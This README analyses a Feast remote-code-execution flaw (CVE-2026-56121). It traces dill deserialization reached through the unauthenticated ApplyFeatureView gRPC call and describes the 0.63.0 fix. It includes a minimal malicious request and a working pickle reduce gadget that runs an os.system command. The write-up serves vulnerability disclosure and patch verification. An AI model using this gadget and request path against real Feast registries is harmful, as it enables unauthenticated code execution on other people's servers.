README.md
Rendering markdown...
# Code-level analysis — CVE-2026-56121
## 1. The deserialization sink
Feast serializes an `OnDemandFeatureView`'s transformation function with `dill`
(a pickle superset) into `UserDefinedFunctionV2.body`. The transformation classes
deserialize it verbatim in `from_proto`:
```python
# sdk/python/feast/transformation/pandas_transformation.py (and python_transformation.py)
import dill
@classmethod
def from_proto(cls, user_defined_function_proto):
return cls(
udf=dill.loads(user_defined_function_proto.body), # SINK
udf_string=user_defined_function_proto.body_text,
)
```
`dill.loads()` runs the pickle opcode stream, so a `body` containing a reduce
gadget — `(os.system, ("…",))` — executes a command while being "loaded".
## 2. The remotely reachable path
The registry gRPC server exposes `ApplyFeatureView`:
```python
# sdk/python/feast/registry_server.py
def ApplyFeatureView(self, request, context):
feature_view_type = request.WhichOneof("base_feature_view")
if feature_view_type == "feature_view":
feature_view = FeatureView.from_proto(request.feature_view)
elif feature_view_type == "on_demand_feature_view":
feature_view = OnDemandFeatureView.from_proto(request.on_demand_feature_view) # -> dill.loads
elif feature_view_type == "stream_feature_view":
feature_view = StreamFeatureView.from_proto(request.stream_feature_view)
assert_permissions_to_update(resource=feature_view, ...) # authorization is AFTER from_proto
self.proxied_registry.apply_feature_view(...)
return Empty()
```
`OnDemandFeatureView.from_proto` → `_parse_transformation_from_proto` →
`PandasTransformation.from_proto` → `dill.loads(body)`.
`server.add_insecure_port("[::]:6570")` (no TLS) and the default
`feature_store.yaml` ships:
```yaml
auth:
type: no_auth
```
So in a default deployment the call is fully unauthenticated; and even with `auth`
enabled, the deserialization at `from_proto` executes **before**
`assert_permissions_to_update` is reached — which is why the advisory describes it as
exploitable by "unauthenticated **or unauthorized**" attackers.
## 3. Minimal weaponized proto
```
ApplyFeatureViewRequest {
project: "feature_repo"
on_demand_feature_view {
spec {
name: "pwn"
mode: "pandas"
feature_transformation {
user_defined_function { name:"pwn", body:<malicious pickle>, body_text:"...", mode:"pandas" }
}
}
}
}
```
`OnDemandFeatureView.from_proto` defaults `mode` to `"pandas"` and parses the
transformation before validating sources/features, so this minimal spec reaches the
sink. The reduce gadget:
```python
class _Payload:
def __init__(self, cmd): self.cmd = cmd
def __reduce__(self):
import os
return (os.system, (self.cmd,))
body = pickle.dumps(_Payload("id > /tmp/feast_pwned"))
```
`os.system` returns `0`; `from_proto` then treats `0` as the UDF and later raises
`TypeError: 0 is not a module, class, method, or function`. That post-execution error
is cosmetic — the command already ran inside `dill.loads()`.
## 4. The fix (0.63.0)
`0.63.0` threads a `skip_udf` flag through `*FeatureView.from_proto` and sets it on
the **registry server** path, so applying a spec no longer deserializes the UDF body
(the registry only needs to persist the bytes, not execute them):
```python
# patched registry_server.py / from_proto
OnDemandFeatureView.from_proto(request.on_demand_feature_view, skip_udf=True)
...
# from_proto: "Parse transformation from proto (skip UDF deserialization if requested)"
if proto.spec.HasField("user_defined_function") and not skip_udf:
... dill.loads(...)
```
With `skip_udf=True` on the server, the `dill.loads` sink is never reached for
attacker-supplied specs — the binary discriminator between **VULNERABLE (< 0.63.0)**
and **PATCHED (≥ 0.63.0)**.